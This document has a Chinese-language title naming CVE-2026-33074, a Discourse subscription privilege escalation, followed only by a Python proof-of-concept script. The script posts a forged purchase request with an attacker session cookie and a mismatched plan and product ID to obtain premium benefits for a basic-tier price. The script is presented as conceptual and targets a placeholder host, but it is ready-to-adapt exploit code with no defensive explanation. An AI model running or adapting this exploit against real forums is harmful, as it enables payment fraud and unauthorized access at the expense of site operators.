CVE-2026-33074 Discourse 订阅权限提升漏洞

import requests # Conceptual Proof of Concept for CVE-2026-33074 # This script demonstrates how a user might attempt to purchase a low-tier plan # while requesting high-tier benefits due to the logic flaw. target_url = "https://example.com/subscriptions" # Attacker's session cookie session_cookie = "_forum_session=attacker_session_id_here" # The payload contains the low-cost plan ID but requests high-tier features # Exploiting the lack of server-side validation between plan and benefits payload = { "subscription[plan_id]": "basic_plan_5_usd", "subscription[product_id]": "premium_product_all_access" } headers = { "Cookie": session_cookie, "Content-Type": "application/json", "X-CSRF-Token": "valid_csrf_token_here" } try: # Send the purchase request response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Request sent successfully.") print("[+] Check account to verify if premium features were granted.") print(response.text) else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}")